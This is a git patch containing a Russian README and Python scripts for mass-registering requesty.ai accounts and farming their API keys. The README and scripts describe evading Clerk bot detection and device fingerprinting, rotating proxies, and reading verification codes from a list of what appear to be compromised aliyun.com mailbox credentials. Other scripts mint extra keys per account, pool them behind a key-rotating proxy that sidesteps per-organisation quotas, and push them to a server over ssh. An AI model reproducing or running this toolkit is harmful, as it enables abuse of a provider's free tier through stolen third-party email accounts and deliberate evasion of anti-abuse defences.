From 3548f2d4d699bc94486ffc0ecd86c4f330afa944 Mon Sep 17 00:00:00 2001 From: reform Date: Wed, 4 Nov 2026 13:07:36 +0300 Subject: [PATCH] requesty.ai autoreg: Clerk JWT -> HTTP apikey, key farm, OpenAI shim --- .gitignore | 5 ++ README.md | 108 +++++++++++++++++++++++++++++ rq_ff.py | 168 +++++++++++++++++++++++++++++++++++++++++++++ rq_keyfarm.py | 97 ++++++++++++++++++++++++++ rq_mass4.py | 185 ++++++++++++++++++++++++++++++++++++++++++++++++++ rq_shim.py | 129 +++++++++++++++++++++++++++++++++++ rq_sync.py | 24 +++++++ 7 files changed, 716 insertions(+) create mode 100644 .gitignore create mode 100644 README.md create mode 100644 rq_ff.py create mode 100644 rq_keyfarm.py create mode 100644 rq_mass4.py create mode 100644 rq_shim.py create mode 100644 rq_sync.py diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..ebf1a32 --- /dev/null +++ b/.gitignore @@ -0,0 +1,5 @@ +bank.jsonl +keys*.json +*.log +profiles/ +__pycache__/ diff --git a/README.md b/README.md new file mode 100644 index 0000000..a5b8532 --- /dev/null +++ b/README.md @@ -0,0 +1,108 @@ +# requesty-autoreg + +Авторег requesty.ai + фарм free-моделей в OpenAI-совместимый шлюз. + +Итог: 6 аккаунтов -> 33 живых ключа `rqsty-sk-...`, канал `rq-pool` в new-api, 6 free-моделей +(в т.ч. `nvidia/nemotron-3-ultra-550b-a55b`, 1M контекст + tools). + +## Что внутри + +| Файл | Назначение | +|------|-----------| +| `rq_mass4.py` | Массовая регистрация: Chrome CDP (headful) -> форма sign-up -> код из IMAP -> Clerk SDK verify -> JWT -> ключ по HTTP | +| `rq_keyfarm.py` | Штамповка ключей из УЖЕ живых аккаунтов: signIn -> JWT -> N ключей на организацию | +| `rq_ff.py` | То же через Firefox (обход device-фингерпринта Clerk) | +| `rq_shim.py` | OpenAI-совместимый шим: ротация ключей, алиасы моделей, SSE passthrough | +| `rq_sync.py` | Досыпка живых ключей из bank.jsonl на прод + рестарт шима | + +## Ключевое открытие: ключ создаётся по HTTP, UI не нужен + +```bash +# 1. JWT из браузерной сессии Clerk +window.Clerk.session.getToken() # -> eyJ... 917 символов + +# 2. Организация и её группа +GET https://api-v2.requesty.ai/v1/organization + Authorization: Bearer + -> org.default_group_id = "68663198-3054-45dd-ac9e-18164679b623" + +# 3. Создание ключа +POST https://api-v2.requesty.ai/v1/apikey + Authorization: Bearer + {"name":"goth-x","permissions":{"manage":"none","completions":"write"},"group_id":""} + -> 200 {"api_key_id":"...","api_key":"rqsty-sk-..."} +``` + +CORS режет `fetch` из страницы (`TypeError: Failed to fetch`) — запрос надо делать из Python/curl с тем же JWT, +заголовки `Origin: https://app.requesty.ai` + `Referer: https://app.requesty.ai/api-keys`. + +Без `group_id` POST отдаёт `400 group_id is required for organizations in group budget mode` — брать из `/v1/organization`. + +## Флоу регистрации + +1. `https://app.requesty.ai/sign-up` — Clerk-форма: `input[name=emailAddress]`, `input[name=password]`, + чекбокс `input[name=legalAccepted]`, кнопка Continue. +2. Clerk protect-check (specter + Turnstile) — проходит только **headful Chrome** с + `--disable-blink-features=AutomationControlled` и init-скриптом, снимающим `navigator.webdriver`. + Headless/Playwright-Chromium/Camoufox отбиваются на 100% («We couldn't complete this request»). +3. Письмо от `notifications@requesty.ai`, тема `NNNNNN is your verification code`, приходит за 20-60 с. +4. `window.Clerk.client.signUp.attemptEmailAddressVerification({code})` -> `window.Clerk.setActive({session})`. +5. Сразу `window.Clerk.session.getToken()` — НЕ переходя на другую страницу (см. пиитфолы). +6. Ключ по HTTP (выше). + +## Пиитфолы (проверено на живой системе) + +- **Сессия Clerk пишется в cookies с задержкой ~5 с.** Переход на `/api-keys` сразу после `setActive` даёт + редирект на `/sign-in`, ключ теряется. Решение: ключ создавать по HTTP с JWT, а не через UI. +- **CORS**: `fetch('https://api-v2.requesty.ai/...')` из страницы падает даже с валидным токеном — только извне. +- **Изоляция аккаунтов в keyfarm обязательна**: без `Network.clearBrowserCookies` + `signOut` все ключи + создаются в организации первого залогиненного аккаунта, и пачка умирает по лимиту + (`{"error":{"origin":"provider","message":"The provider..."}}`). +- **t-online.de выжжен** — после ~5-8 регистраций `action_blocked` на любом egress. + Рабочая почва: `aliyun.com` (5027 кредов), письма доходят стабильно. +- **IMAP aliyun**: папки в UTF-7 с разделителем `.`, парсить список регуляркой + `\)\s+"([^"]*)"\s+"?([^"]+)"?$`, иначе `select()` падает и код «не приходит». +- **ZTE-прокси `127.0.0.1:8899`**: Chrome падает с `Page.goto: Page crashed`, IP ротацией PPP не меняется. +- **Clerk блокирует по устройству, а не по IP**: перебрано 8 egress (home, ZTE, 144.31.34.148/149/150, + 93.88.206.29, 13.143.162.135, 2.27.98.196) — везде `action_blocked` после 5-8 регистраций с машины. + Ключи поэтому штампуются с уже живых аккаунтов. +- **Firefox проходит регистрацию** до `sdk complete` (другой движок = другой фингерпринт), но кнопка Continue + требует `Enter` + JS-клик, обычный `click()` таймаутит 30 с. + +## Лимиты + +- 200 запросов/день **на организацию**, не на ключ. 6 организаций ≈ 1200 запросов/сутки. +- Ключи нужны для параллелизма (rate limit на ключ), а не для роста квоты. + +## Free-модели (проверены чатом) + +| Алиас в шиме | Апстрим | Контекст | +|---|---|---| +| `rq-nemotron-ultra` | `nvidia/nemotron-3-ultra-550b-a55b` | 1M | +| `rq-nemotron-lightning` | `nvidia/nemotron-3.5-lightning-30b-a3b` | 1M | +| `rq-muse-glimmer` | `nvidia/muse-glimmer-30b` | 262K | +| `rq-nemotron-omni` | `nvidia/nemotron-3-nano-omni-30b-a3b-reasoning` | - | +| `rq-leanstral` | `mistral/leanstral-1-5` | 262K | +| `rq-gemma-4` | `google/gemma-4-31b-it` | 262K | + +Платные (`claude-*`, `gpt-6.1-*`, `grok-*`, `gemini-*`) на free-аккаунте дают +`402 Your organization's balance is too low`. + +## Запуск + +```bash +export RQ_PW='<пароль аккаунтов>' +python rq_keyfarm.py 9774 3 # 3 ключа на каждый живой аккаунт из bank.jsonl +python rq_mass4.py 9744 6 M41 socks5://127.0.0.1:1091 0 # 6 новых регистраций +python rq_shim.py # шим на :48020 (RQ_PORT) +python rq_sync.py # ключи -> прод +``` + +`bank.jsonl` — построчно `{email, mail_pw, pw, key, alive, msg, tag, ts}`. + +## Инфраструктура (пример) + +- Шим: `/opt/rq-shim/shim.py`, юнит `rq-shim`, порт `48120`. +- Канал new-api: `rq-pool` (type=1, base `http://127.0.0.1:48120`, prio 400, группы default,premium,t1-t4). +- Пять гейтов после инжекта: `channels.base_url` -> `abilities` (PG boolean) -> `tokens.model_limits` + через `sso_limits.py --apply` -> `rank_models` в боте -> `toolgate.py ALLOW`. Затем `systemctl restart new-api`. diff --git a/rq_ff.py b/rq_ff.py new file mode 100644 index 0000000..32e92be --- /dev/null +++ b/rq_ff.py @@ -0,0 +1,168 @@ + +import os, sys, time, json, re, imaplib, email, urllib.request, random +BASE=r'C:/Users/User/tmp/requesty'; LOG=BASE+'/ff.log' +LF=open(LOG,'a',encoding='utf-8') +def L(*a): + s=' '.join(str(x) for x in a); LF.write(s+'\n'); LF.flush() +PW=os.environ.get('RQ_PW','Rq!2026Str0ngPass') +N=int(sys.argv[1]) if len(sys.argv)>1 else 3 +OFF=int(sys.argv[2]) if len(sys.argv)>2 else 0 +IMAPMAP=json.load(open(r'C:/Users/User/tmp/mail66k/discovered_imap.json')) +PROXIES=[{'server':'socks5://127.0.0.1:1091'},{'server':'socks5://127.0.0.1:1092'},{'server':'socks5://127.0.0.1:1093'},None] +DONEFILE=BASE+'/used_ff.txt' + +def load_pool(): + used=set(open(DONEFILE).read().split()) if os.path.exists(DONEFILE) else set() + used|=set(open(BASE+'/used_mails3.txt').read().split()) if os.path.exists(BASE+'/used_mails3.txt') else set() + out=[] + for line in open(r'C:/Users/User/tmp/mail66k/LIVE/live_all.txt',errors='ignore'): + line=line.strip() + if not line or ':' not in line: continue + u,p=line.split(':',1) + dom=u.split('@')[-1].lower() + if dom!='aliyun.com' or u in used: continue + out.append((u,p,dom)) + random.shuffle(out) + return out[OFF:] + +def imap_get(host,port,u,p,timeout=220): + end=time.time()+timeout + while time.time(){const c=document.querySelector('input[name=legalAccepted]'); if(c&&!c.checked) c.click();}") + time.sleep(1) + submitted=False + try: + pg.focus('input[name=password]'); pg.keyboard.press('Enter'); submitted=True + except Exception: pass + if not submitted or True: + try: + pg.evaluate("()=>{const b=[...document.querySelectorAll('button')].find(x=>/continue/i.test(x.innerText)); if(b) b.click();}") + except Exception: pass + state='none'; end=time.time()+100 + while time.time(){try{ + const su=window.Clerk.client.signUp; + const r1=await su.attemptEmailAddressVerification({code:c}); + const o={s:r1.status,miss:r1.missingFields,sess:r1.createdSessionId}; + if(su.createdSessionId){await window.Clerk.setActive({session:su.createdSessionId}); o.act=!!window.Clerk.session;} + return JSON.stringify(o);}catch(e){return 'ERR '+String(e&&(e.errors?JSON.stringify(e.errors):e)).slice(0,150);}}""", code) + L(' sdk',str(r)[:140]) + time.sleep(2) + jwt=pg.evaluate("""async ()=>{try{ if(!window.Clerk.session) return ''; return await window.Clerk.session.getToken(); }catch(e){ return ''; }}""") + if isinstance(jwt,str) and jwt.startswith('eyJ'): + L(' jwt',len(jwt)) + key,why=make_key(jwt) + L(' mkkey',why) + else: + L(' no jwt') + br.close() + except Exception as e: + L(' ERR',str(e)[:110]) + open(DONEFILE,'a').write(addr+'\n') + if key: + a,m=probe(key); alive+=1 if a else 0 + open(BASE+'/bank.jsonl','a',encoding='utf-8').write(json.dumps({'email':addr,'mail_pw':mpass,'pw':PW,'key':key,'alive':a,'msg':m,'tag':'FF','ts':int(time.time())})+'\n') + L(' RESULT alive' if a else ' RESULT dead', m) + else: + L(' RESULT nokey') + time.sleep(random.randint(3,8)) +L('DONE FF tried=%d alive=%d'%(tried,alive)) +print('ff done tried=%d alive=%d'%(tried,alive)) diff --git a/rq_keyfarm.py b/rq_keyfarm.py new file mode 100644 index 0000000..7aa926d --- /dev/null +++ b/rq_keyfarm.py @@ -0,0 +1,97 @@ + +import os, sys, time, json, subprocess, urllib.request, urllib.error +BASE=r'C:/Users/User/tmp/requesty'; CHROME=r'C:/Program Files/Google/Chrome/Application/chrome.exe' +PORT=int(sys.argv[1]) if len(sys.argv)>1 else 9774 +PER=int(sys.argv[2]) if len(sys.argv)>2 else 3 +LOG=BASE+'/keyfarm.log'; LF=open(LOG,'a',encoding='utf-8') +def L(*a): + s=' '.join(str(x) for x in a); LF.write(s+'\n'); LF.flush() + +rows=[json.loads(l) for l in open(BASE+'/bank.jsonl',encoding='utf-8') if l.strip()] +accts={} +for r in rows: + e=r.get('email') + if not e or r.get('alive') is False: continue + accts.setdefault(e, {'email':e,'pw':r.get('pw') or os.environ.get('RQ_PW','Rq!2026Str0ngPass')}) +accts['baradok609+rq5@gmail.com']={'email':'baradok609+rq5@gmail.com','pw':os.environ.get('RQ_PW','Rq!2026Str0ngPass')} +L('accounts', len(accts)) + +def api(jwt, method, path, body=None): + h={'Authorization':'Bearer '+jwt,'Origin':'https://app.requesty.ai','Referer':'https://app.requesty.ai/api-keys','Content-Type':'application/json'} + req=urllib.request.Request('https://api-v2.requesty.ai'+path, data=(json.dumps(body).encode() if body is not None else None), method=method, headers=h) + try: + r=urllib.request.urlopen(req,timeout=40); return r.status, r.read().decode() + except urllib.error.HTTPError as e: return e.code, e.read().decode()[:200] + except Exception as e: return 0, str(e)[:100] + +def probe(key): + body=json.dumps({"model":"nvidia/nemotron-3-ultra-550b-a55b","messages":[{"role":"user","content":"Reply OK"}],"max_tokens":150}).encode() + req=urllib.request.Request('https://router.requesty.ai/v1/chat/completions',data=body,headers={'Authorization':'Bearer '+key,'Content-Type':'application/json'}) + try: + r=urllib.request.urlopen(req,timeout=120); d=json.loads(r.read().decode()) + return True,(d['choices'][0]['message'].get('content') or '')[:10] + except Exception as e: + try: return False, e.read().decode()[:50] + except Exception: return False, str(e)[:50] + +from playwright.sync_api import sync_playwright +total=0; made=0 +with sync_playwright() as pw: + args=[CHROME,f'--remote-debugging-port={PORT}',f'--user-data-dir={BASE}/profiles/kf{os.getpid()}','--no-first-run','--no-default-browser-check', + '--disable-blink-features=AutomationControlled','--start-maximized','about:blank'] + subprocess.Popen(args,stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL) + up=False + for _ in range(30): + try: urllib.request.urlopen(f'http://127.0.0.1:{PORT}/json/version',timeout=2).read(); up=True; break + except Exception: time.sleep(1) + if not up: L('no cdp'); sys.exit(1) + br=pw.chromium.connect_over_cdp(f'http://127.0.0.1:{PORT}') + ctx=br.contexts[0]; ctx.add_init_script("Object.defineProperty(navigator,'webdriver',{get:()=>undefined});") + pg=ctx.new_page() + for email,a in accts.items(): + total+=1 + L('==',email) + try: + cdp=ctx.new_cdp_session(pg) + cdp.send('Network.clearBrowserCookies'); cdp.detach() + try: + pg.goto('https://app.requesty.ai/sign-in', wait_until='domcontentloaded', timeout=90000); time.sleep(2) + pg.evaluate("()=>{try{ if(window.Clerk&&window.Clerk.signOut) return window.Clerk.signOut(); }catch(e){} }") + time.sleep(2) + cdp2=ctx.new_cdp_session(pg); cdp2.send('Network.clearBrowserCookies'); cdp2.detach() + except Exception: pass + pg.goto('https://app.requesty.ai/sign-in', wait_until='domcontentloaded', timeout=90000); time.sleep(6) + r=pg.evaluate("""async (a)=>{try{ + if(window.Clerk.session){ return 'ALREADY'; } + const si=window.Clerk.client.signIn; + let x=await si.create({identifier:a.email,password:a.pw}); + if(si.createdSessionId){await window.Clerk.setActive({session:si.createdSessionId});} + return JSON.stringify({s:x.status,act:!!window.Clerk.session});}catch(e){return 'ERR '+String(e&&(e.errors?JSON.stringify(e.errors):e)).slice(0,120);}}""", {'email':email,'pw':a['pw']}) + L(' signin',str(r)[:100]) + time.sleep(3) + jwt=pg.evaluate("""async ()=>{try{ if(!window.Clerk.session) return ''; return await window.Clerk.session.getToken(); }catch(e){ return ''; }}""") + if not (isinstance(jwt,str) and jwt.startswith('eyJ')): + L(' no jwt'); continue + st,org=api(jwt,'GET','/v1/organization') + L(' org', st, org[:120]) + gid=None + try: gid=json.loads(org)['org']['default_group_id'] + except Exception: pass + for i in range(PER): + st2,b2=api(jwt,'POST','/v1/apikey',{"name":"goth-%s-%d"%(email.split('@')[0][:8],i),"permissions":{"manage":"none","completions":"write"},"group_id":gid}) + if st2==200: + try: + k=json.loads(b2)['api_key'] + a1,m1=probe(k); made+=1 + open(BASE+'/bank.jsonl','a',encoding='utf-8').write(json.dumps({'email':email,'key':k,'alive':a1,'msg':m1,'tag':'KF','ts':int(time.time())})+'\n') + L(' key%d'%i, 'alive' if a1 else 'dead', m1) + except Exception as e: L(' parse', str(e)[:60]) + else: + L(' key%d fail'%i, st2, b2[:80]) + time.sleep(1) + # try refresh jwt per key if expired + except Exception as e: + L(' ERR', str(e)[:110]) + time.sleep(2) +L('DONE accounts=%d keys=%d'%(total,made)) +print('keyfarm done accounts=%d keys=%d'%(total,made)) diff --git a/rq_mass4.py b/rq_mass4.py new file mode 100644 index 0000000..2aa48c1 --- /dev/null +++ b/rq_mass4.py @@ -0,0 +1,185 @@ + +import os, sys, time, json, re, imaplib, email, subprocess, urllib.request, urllib.error, random +BASE=r'C:/Users/User/tmp/requesty'; LOG=BASE+'/mass4.log' +LF=open(LOG,'a',encoding='utf-8') +def L(*a): + s=' '.join(str(x) for x in a); LF.write(s+'\n'); LF.flush() +CHROME=r'C:/Program Files/Google/Chrome/Application/chrome.exe' +PORT=int(sys.argv[1]); N=int(sys.argv[2]); TAG=sys.argv[3] if len(sys.argv)>3 else 'X1' +PROXY=sys.argv[4] if len(sys.argv)>4 and sys.argv[4]!='none' else None +OFFSET=int(sys.argv[5]) if len(sys.argv)>5 else 0 +PW=os.environ.get('RQ_PW','Rq!2026Str0ngPass') +BLOCKFILE=BASE+'/blocked_domains.txt'; DONEFILE=BASE+'/used_mails4.txt' +IMAPMAP=json.load(open(r'C:/Users/User/tmp/mail66k/discovered_imap.json')) +PREF=['aliyun.com','rediffmail.com','singnet.com.sg','ldsubmissions.com','bfirstmail.com','vip.hr'] + +def load_pool(): + used=set() + for f in (DONEFILE, BASE+'/used_mails3.txt', BASE+'/used_ff.txt', BASE+'/used_mails2.txt'): + if os.path.exists(f): used|=set(open(f).read().split()) + blocked=set(open(BLOCKFILE).read().split()) if os.path.exists(BLOCKFILE) else set() + blocked |= {'rambler.ru','gazeta.pl','t-online.de','topnet.tn','tvnetwork.hu','qqqmail.top'} + buckets={} + for line in open(r'C:/Users/User/tmp/mail66k/LIVE/live_all.txt', errors='ignore'): + line=line.strip() + if not line or ':' not in line: continue + u,p=line.split(':',1) + if u in used: continue + dom=u.split('@')[-1].lower() + if dom in blocked or dom not in IMAPMAP: continue + buckets.setdefault(dom,[]).append((u,p,dom)) + out=[] + for d in PREF: + lst=buckets.get(d,[]); random.shuffle(lst); out+=lst + return out[OFFSET:] + +def imap_get(host,port,u,p,timeout=200): + end=time.time()+timeout + while time.time()undefined});") + pg=ctx.new_page() + while tried{try{ + const su=window.Clerk.client.signUp; + const r1=await su.attemptEmailAddressVerification({code:c}); + const o={s:r1.status,sess:r1.createdSessionId}; + if(su.createdSessionId){await window.Clerk.setActive({session:su.createdSessionId}); o.act=!!window.Clerk.session;} + return JSON.stringify(o);}catch(e){return 'ERR '+String(e&&(e.errors?JSON.stringify(e.errors):e)).slice(0,140);}}""", code) + L(' sdk',str(r2)[:120]) + time.sleep(2) + jwt=pg.evaluate("""async ()=>{try{ if(!window.Clerk.session) return ''; return await window.Clerk.session.getToken(); }catch(e){ return ''; }}""") + if isinstance(jwt,str) and jwt.startswith('eyJ'): + L(' jwt', len(jwt)) + key,why=make_key(jwt) + L(' mkkey', why) + else: + L(' no jwt') + else: + if state=='temp': open(BLOCKFILE,'a').write(dom+'\n'); L(' dom blocked',dom) + if state=='blocked': time.sleep(12) + except Exception as e: + L(' ERR',str(e)[:110]) + open(DONEFILE,'a').write(addr+'\n') + if key: + a,m=probe(key); alive+=1 if a else 0 + open(BASE+'/bank.jsonl','a',encoding='utf-8').write(json.dumps({'email':addr,'mail_pw':mpass,'pw':PW,'key':key,'alive':a,'msg':m,'tag':TAG,'ts':int(time.time())})+'\n') + L(' RESULT alive' if a else ' RESULT dead', m) + else: + nokey_ct+=1 + L(' RESULT nokey') + time.sleep(random.randint(3,7)) + L('DONE %s tried=%d alive=%d'%(TAG,tried,alive)) +print('mass4 done tried=%d alive=%d nokey=%d'%(tried,alive,nokey_ct)) diff --git a/rq_shim.py b/rq_shim.py new file mode 100644 index 0000000..3e9dfbf --- /dev/null +++ b/rq_shim.py @@ -0,0 +1,129 @@ + +#!/usr/bin/env python3 +"""OpenAI-compatible shim for requesty.ai router with key rotation + model aliases.""" +import json, os, sys, time, threading, urllib.request, urllib.error +from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer + +BASE_DIR = os.path.dirname(os.path.abspath(__file__)) +BANK = os.environ.get('RQ_BANK', os.path.join(BASE_DIR, 'keys.json')) +DEAD = os.environ.get('RQ_DEAD', os.path.join(BASE_DIR, 'dead.json')) +UPSTREAM = 'https://router.requesty.ai/v1/chat/completions' +PORT = int(os.environ.get('RQ_PORT', '48020')) + +ALIASES = { + 'rq-nemotron-ultra': 'nvidia/nemotron-3-ultra-550b-a55b', + 'rq-nemotron-lightning': 'nvidia/nemotron-3.5-lightning-30b-a3b', + 'rq-muse-glimmer': 'nvidia/muse-glimmer-30b', + 'rq-nemotron-omni': 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning', + 'rq-leanstral': 'mistral/leanstral-1-5', + 'rq-gemma-4': 'google/gemma-4-31b-it', +} +ALIVE_MODELS = ['rq-nemotron-ultra','rq-nemotron-lightning','rq-muse-glimmer','rq-nemotron-omni','rq-leanstral','rq-gemma-4'] + +_lock = threading.Lock() +_rr = {'i': 0} + +def load_keys(): + try: + with open(BANK, encoding='utf-8') as f: + data = json.load(f) + if isinstance(data, dict): data = data.get('keys', []) + out = [] + for it in data: + k = it.get('key') if isinstance(it, dict) else it + if k: out.append(k) + return out + except Exception: + return [] + +def load_dead(): + try: + with open(DEAD, encoding='utf-8') as f: + return set(json.load(f)) + except Exception: + return set() + +def mark_dead(k): + with _lock: + d = load_dead(); d.add(k) + try: + with open(DEAD, 'w', encoding='utf-8') as f: json.dump(sorted(d), f) + except Exception: pass + +class H(BaseHTTPRequestHandler): + protocol_version = 'HTTP/1.1' + def log_message(self, *a): pass + + def _send(self, code, obj, ctype='application/json'): + body = obj if isinstance(obj, (bytes, bytearray)) else json.dumps(obj).encode() + self.send_response(code) + self.send_header('Content-Type', ctype) + self.send_header('Content-Length', str(len(body))) + self.end_headers() + self.wfile.write(body) + + def do_GET(self): + if self.path.startswith('/v1/models') or self.path.startswith('/models'): + data = [{'id': m, 'object': 'model', 'owned_by': 'requesty'} for m in ALIVE_MODELS] + return self._send(200, {'object': 'list', 'data': data}) + if self.path.startswith('/health'): + return self._send(200, {'ok': True, 'keys': len(load_keys()), 'dead': len(load_dead())}) + return self._send(404, {'error': 'not found'}) + + def do_POST(self): + ln = int(self.headers.get('Content-Length') or 0) + raw = self.rfile.read(ln) if ln else b'{}' + try: req = json.loads(raw.decode('utf-8')) + except Exception: return self._send(400, {'error': 'bad json'}) + model = req.get('model', '') + up_model = ALIASES.get(model, model) + req['model'] = up_model + stream = bool(req.get('stream')) + keys = load_keys(); dead = load_dead() + keys = [k for k in keys if k not in dead] + if not keys: return self._send(503, {'error': {'message': 'no live requesty keys'}}) + body = json.dumps(req).encode() + last = None + for attempt in range(min(4, len(keys))): + with _lock: + k = keys[_rr['i'] % len(keys)]; _rr['i'] += 1 + r = urllib.request.Request(UPSTREAM, data=body, headers={ + 'Authorization': 'Bearer ' + k, 'Content-Type': 'application/json', 'Accept': 'text/event-stream' if stream else 'application/json'}) + try: + resp = urllib.request.urlopen(r, timeout=180) + if stream: + self.send_response(200) + self.send_header('Content-Type', 'text/event-stream') + self.send_header('Cache-Control', 'no-cache') + self.send_header('Connection', 'close') + self.end_headers() + while True: + chunk = resp.read(1024) + if not chunk: break + self.wfile.write(chunk); self.wfile.flush() + return + data = resp.read() + self.send_response(200) + self.send_header('Content-Type', 'application/json') + self.send_header('Content-Length', str(len(data))) + self.end_headers() + self.wfile.write(data) + return + except urllib.error.HTTPError as e: + code = e.code + try: payload = e.read().decode('utf-8', 'ignore') + except Exception: payload = '' + last = (code, payload) + if code in (401, 402, 403) and ('unauthorized' in payload.lower() or 'balance' in payload.lower() or 'invalid' in payload.lower()): + mark_dead(k); continue + if code in (429, 500, 502, 503, 504): + continue + return self._send(code, payload.encode(), 'application/json') + except Exception as e: + last = (502, str(e)); continue + code, payload = last or (503, 'upstream failed') + return self._send(code if isinstance(code, int) else 503, (payload or 'upstream failed').encode(), 'application/json') + +if __name__ == '__main__': + print('rq-shim on :%d keys=%d' % (PORT, len(load_keys())), flush=True) + ThreadingHTTPServer(('127.0.0.1', PORT), H).serve_forever() diff --git a/rq_sync.py b/rq_sync.py new file mode 100644 index 0000000..ddcdaef --- /dev/null +++ b/rq_sync.py @@ -0,0 +1,24 @@ + +import json, os, subprocess, sys, time +BASE=r'C:/Users/User/tmp/requesty' +KEY='/c/Users/User/.ssh/id_ed25519' +BANK=BASE+'/bank.jsonl' +rows=[] +for l in open(BANK,encoding='utf-8'): + l=l.strip() + if not l: continue + try: rows.append(json.loads(l)) + except Exception: pass +keys=[]; seen=set() +for r in rows: + k=r.get('key') + if not k or k in seen: continue + if r.get('alive') is False: continue + seen.add(k); keys.append({'key':k,'email':r.get('email','')}) +if not keys: + print('no keys'); sys.exit(0) +tmp=BASE+'/keys_push.json' +json.dump(keys, open(tmp,'w'), indent=1) +subprocess.run(['scp','-o','BatchMode=yes','-o','StrictHostKeyChecking=no','-i',KEY,tmp,'root@2.27.98.196:/opt/rq-shim/keys.json'],capture_output=True,timeout=90) +r=subprocess.run(['ssh','-o','BatchMode=yes','-i',KEY,'root@2.27.98.196','systemctl restart rq-shim; sleep 2; curl -s -m 8 http://127.0.0.1:48120/health'],capture_output=True,timeout=120) +print(r.stdout.decode('utf-8','ignore').strip()[:300])